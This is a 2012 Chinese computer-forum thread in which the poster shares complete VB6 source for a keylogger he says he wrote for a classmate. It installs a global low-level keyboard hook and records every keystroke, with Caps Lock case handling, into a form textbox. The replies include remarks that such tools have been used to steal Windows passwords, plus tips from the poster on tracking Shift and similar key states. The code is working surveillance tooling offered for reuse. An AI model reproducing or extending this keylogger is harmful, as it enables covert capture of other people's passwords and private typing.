【神棍】今天帮童鞋写的一个键盘记录工具。。。

社区服务
高级搜索
猴岛论坛电脑百科【神棍】今天帮童鞋写的一个键盘记录工具。。。
发帖 回复
正序阅读 最近浏览的帖子最近浏览的版块
17个回复

【神棍】今天帮童鞋写的一个键盘记录工具。。。

楼层直达
无名神棍

ZxID:11878243

等级: 大尉
事了拂衣去,深藏身与名。
举报 只看楼主 使用道具 楼主   发表于: 2012-04-07 0
= =反正留着没用,把源码上来算了

窗体:

Private Sub Form_Load()
HookID = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyHook, App.hInstance, 0)
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnhookWindowsHookEx HookID
End Sub

模块:

Public Type PKBDLLHOOKSTRUCT
    vkCode As Long
    scanCode As Long
    flags As Long
    time As Long
    dwExtraInfo As Long
End Type
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Public HookID As LongPublic Const HC_ACTION = 0
Public Const WM_KEYDOWN = &H100
Public Const WM_SYSKEYDOWN = &H104
Public Const WH_KEYBOARD_LL = 13
Public Function GetKeyName(KeyCode As Long) As String
On Error Resume Next
Dim Ret As String
Select Case KeyCode
Case 8
Ret = "退格"
Case 9
Ret = "Tab"
Case 13
Ret = "回车"
Case 16
Ret = "Shift"
Case 17
Ret = "Ctal"
Case 18
Ret = "Alt"
Case 19
Ret = "Pause"
Case 20
Ret = "大小写"
Case 27
Ret = "Esc"
Case 32
Ret = "空格"
Case 33
Ret = "Page Up"
Case 34
Ret = "Page Down"
Case 35
Ret = "End"
Case 36
Ret = "Home"
Case 41
Ret = "Select"
Case 42
Ret = "Print Screen"
Case 43
Ret = "Execute"
Case 44
Ret = "Snapshot"
Case 45
Ret = "Insert"
Case 46
Ret = "Delete"
Case 47
Ret = "Help"
Case 48
Ret = "0"
Case 49
Ret = "1"
Case 50
Ret = "2"
Case 51
Ret = "3"
Case 52
Ret = "4"
Case 53
Ret = "5"
Case 54
Ret = "6"
Case 55
Ret = "7"
Case 56
Ret = "8"
Case 57
Ret = "9"
Case 65
If CheckCapsLock Then
Ret = "A"
Else
Ret = "a"
End If
Case 66
If CheckCapsLock Then
Ret = "B"
Else
Ret = "b"
End If
Case 67
If CheckCapsLock Then
Ret = "C"
Else
Ret = "c"
End If
Case 68
If CheckCapsLock Then
Ret = "D"
Else
Ret = "d"
End If
Case 69
If CheckCapsLock Then
Ret = "E"
Else
Ret = "e"
End If
Case 70
If CheckCapsLock Then
Ret = "F"
Else
Ret = "f"
End If
Case 71
If CheckCapsLock Then
Ret = "G"
Else
Ret = "g"
End If
Case 72
If CheckCapsLock Then
Ret = "H"
Else
Ret = "h"
End If
Case 73
If CheckCapsLock Then
Ret = "I"
Else
Ret = "i"
End If
Case 74
If CheckCapsLock Then
Ret = "J"
Else
Ret = "j"
End If
Case 75
If CheckCapsLock Then
Ret = "K"
Else
Ret = "k"
End If
Case 76
If CheckCapsLock Then
Ret = "L"
Else
Ret = "l"
End If
Case 77
If CheckCapsLock Then
Ret = "M"
Else
Ret = "m"
End If
Case 78
If CheckCapsLock Then
Ret = "N"
Else
Ret = "n"
End If
Case 79
If CheckCapsLock Then
Ret = "O"
Else
Ret = "o"
End If
Case 80
If CheckCapsLock Then
Ret = "P"
Else
Ret = "p"
End If
Case 81
If CheckCapsLock Then
Ret = "Q"
Else
Ret = "q"
End If
Case 82
If CheckCapsLock Then
Ret = "R"
Else
Ret = "r"
End If
Case 83
If CheckCapsLock Then
Ret = "S"
Else
Ret = "s"
End If
Case 84
If CheckCapsLock Then
Ret = "T"
Else
Ret = "t"
End If
Case 85
If CheckCapsLock Then
Ret = "U"
Else
Ret = "u"
End If
Case 86
If CheckCapsLock Then
Ret = "V"
Else
Ret = "v"
End If
Case 87
If CheckCapsLock Then
Ret = "W"
Else
Ret = "w"
End If
Case 88
If CheckCapsLock Then
Ret = "X"
Else
Ret = "x"
End If
Case 89
If CheckCapsLock Then
Ret = "Y"
Else
Ret = "y"
End If
Case 90
If CheckCapsLock Then
Ret = "Z"
Else
Ret = "z"
End If
Case 91
Ret = "左Win"
Case 92
Ret = "右Win"
Case 93
Ret = "Apps"
Case 95
Ret = "休眠"
Case 96
Ret = "小键盘0"
Case 97
Ret = "小键盘1"
Case 98
Ret = "小键盘2"
Case 99
Ret = "小键盘3"
Case 100
Ret = "小键盘4"
Case 101
Ret = "小键盘5"
Case 102
Ret = "小键盘6"
Case 103
Ret = "小键盘7"
Case 104
Ret = "小键盘8"
Case 105
Ret = "小键盘9"
Case 106
Ret = "小键盘*"
Case 107
Ret = "小键盘+"
Case 108
Ret = "小键盘回车"
Case 109
Ret = "小键盘-"
Case 110
Ret = "小键盘."
Case 111
Ret = "小键盘/"
Case 112
Ret = "F1"
Case 113
Ret = "F2"
Case 114
Ret = "F3"
Case 115
Ret = "F4"
Case 116
Ret = "F5"
Case 117
Ret = "F6"
Case 118
Ret = "F7"
Case 119
Ret = "F8"
Case 120
Ret = "F9"
Case 121
Ret = "F10"
Case 122
Ret = "F11"
Case 123
Ret = "F12"
Case 219
Ret = "["
Case 221
Ret = "]"
Case 220
Ret = "\"
Case 186
Ret = ";"
Case 222
Ret = "'"
Case 190
Ret = "."
Case 191
Ret = "?"
Case 188
Ret = "逗号"
Case 144
Ret = "小键盘开关"
Case 192
Ret = "`"
Case 160
Ret = "左Shift"
Case 162
Ret = "左Ctrl"
Case 164
Ret = "左Alt"
Case 165
Ret = "右Alt"
Case 163
Ret = "右Ctrl"
Case 161
Ret = "右Shift"
Case 38
Ret = "上"
Case 40
Ret = "下"
Case 37
Ret = "左"
Case 39
Ret = "右"
Case Else
Ret = KeyCode
End Select
GetKeyName = Ret
End FunctionPublic Function MyHook(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim KeyMsg As PKBDLLHOOKSTRUCT
If nCode = HC_ACTION Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
CopyMemory KeyMsg, ByVal lParam, Len(KeyMsg)
Form1.Text1 = Form1.Text1 & GetKeyName(KeyMsg.vkCode) & ","
End If
End If
CallNextHookEx WH_KEYBOARD_LL, nCode, wParam, lParam
End Function
Public Function CheckCapsLock() As Boolean
If GetKeyState(20) Mod 65408 = 1 Then
CheckCapsLock = True
Else
CheckCapsLock = False
End If
End Function

[ 此帖被无名神棍在2012-04-07 20:50重新编辑 ]
人面不知何处去,桃花依旧笑春风。
xu478819295

ZxID:15688561

等级: 大校
举报 只看该作者 17楼  发表于: 2012-07-27 0
不懂。。
含笑~半步颠

ZxID:14378518

等级: 少尉
再烦我就把你绑到草船上借箭去~
举报 只看该作者 16楼  发表于: 2012-04-18 0
哈哈 不错啊

际遇之神

奖励

买了一个鸡蛋,吃出两个蛋黄得3DB

无名神棍

ZxID:11878243

等级: 大尉
事了拂衣去,深藏身与名。
举报 只看该作者 15楼  发表于: 2012-04-17 0
你不全局hook还能怎么弄。。。

内容来自[手机版]
      王°

ZxID:15706659

等级: 元帅
老猫
举报 只看该作者 14楼  发表于: 2012-04-17 0
全局hook..
hdlen12

ZxID:8535469

等级: 少将
咬我?打死你!!!
举报 只看该作者 13楼  发表于: 2012-04-17 0
我找很久了

内容来自[手机版]
hdlen12

ZxID:8535469

等级: 少将
咬我?打死你!!!
举报 只看该作者 12楼  发表于: 2012-04-17 0
我找很久了

内容来自[手机版]
蚊子╯1994

ZxID:14499645

等级: 上士
笑只是一个表情,与快乐无关。
举报 只看该作者 11楼  发表于: 2012-04-10 0
   w我啥时才有这技术啊  
拉皮条 

ZxID:17782573

等级: 中将
炫舞板块因为有你我,更加精彩!

举报 只看该作者 10楼  发表于: 2012-04-08 0
远控都可以

际遇之神

奖励

离岛空城^在论坛散步,捡到5DB

【猴岛技术组】招聘-全区通告-欢迎广大猴子报名参加
http://bbs.houdao.com/r6472600/
【猴岛技术组管理制度】
http://bbs.houdao.com/r6288817/
【猴岛技术组】最新人员名单
http://bbs.houdao.com/r6288764/
技术组期待你的加入!
技术组需要为你们做的,还有很多;我们一直,用心在行动。【猴岛技术组、拉皮条】
无名神棍

ZxID:11878243

等级: 大尉
事了拂衣去,深藏身与名。
举报 只看该作者 9楼  发表于: 2012-04-08 0
回 8楼(西小夏) 的帖子
= =一大半都是虚拟键码转键名的,顺便加了个判断是大写字母还是小写字母,主要看CheckCaps,MyHook就OK
人面不知何处去,桃花依旧笑春风。
西小夏

ZxID:15629045

等级: 元老
配偶: 璃鱼浅析
一转眼2024了..

举报 只看该作者 8楼  发表于: 2012-04-07 0
说实话我也看不太懂。。VB就没认真学、

际遇之神

奖励

偶遇猪GG,传授猪头大法,获得1猪头术

生活就像蒲公英,看似自由却身不由己๑
 Qecluse 

ZxID:8314024

等级: 禁止发言

举报 只看该作者 7楼  发表于: 2012-04-07 0
好复杂,话说真没看懂
无名神棍

ZxID:11878243

等级: 大尉
事了拂衣去,深藏身与名。
举报 只看该作者 6楼  发表于: 2012-04-07 0
回 5楼(    衣  ) 的帖子
= =有机会的话
人面不知何处去,桃花依旧笑春风。
    衣  

ZxID:17849000

等级: 贵宾
淋雨一直走!!

举报 只看该作者 5楼  发表于: 2012-04-07 0
回 4楼(无名神棍) 的帖子
真好心人。

下次无聊的话给我编一个论坛活动贴汇总传送门。
If your ship doesn't come in, swim out to it.
无名神棍

ZxID:11878243

等级: 大尉
事了拂衣去,深藏身与名。
举报 只看该作者 4楼  发表于: 2012-04-07 0
回 3楼(    衣  ) 的帖子
= =童鞋要,就顺手帮他写了
人面不知何处去,桃花依旧笑春风。
    衣  

ZxID:17849000

等级: 贵宾
淋雨一直走!!

举报 只看该作者 地板   发表于: 2012-04-07 0
这玩意以前不是有人编写过弄windows密码咩。
If your ship doesn't come in, swim out to it.
无名神棍

ZxID:11878243

等级: 大尉
事了拂衣去,深藏身与名。
举报 只看该作者 板凳   发表于: 2012-04-07 0
= =想判断SHIFT之类状态的模仿CheckCapsLock就行了
人面不知何处去,桃花依旧笑春风。
无名神棍

ZxID:11878243

等级: 大尉
事了拂衣去,深藏身与名。
举报 只看该作者 沙发   发表于: 2012-04-07 0
= =在VB6.0下编译通过,可以判断是大写字母还是小写字母
人面不知何处去,桃花依旧笑春风。
« 返回列表
发帖 回复